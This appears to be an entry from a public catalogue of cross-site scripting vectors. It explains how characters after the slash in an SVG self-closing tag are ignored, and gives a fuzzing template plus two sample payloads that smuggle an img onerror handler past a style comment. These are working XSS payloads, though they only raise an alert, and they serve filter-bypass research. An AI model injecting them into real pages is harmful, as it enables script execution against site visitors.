Characters ignored following slash in self closing tag

This vector uses SVG to determine which characters are ignored following the slash. Since SVG allows a self closing tag.

Created Jul 23, 2025

Updated Oct 17, 2025

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CategoryCSS Parsing

VisibilityPublic

TypeXSS

CharsetUTF-8

Template used:

<svg /$[chr]><style><!--</style><img src onerror=log($[i])>

Sample payloads

<svg //><style><!--</style><img src onerror=alert(47)>

<svg />><style><!--</style><img src onerror=alert(62)>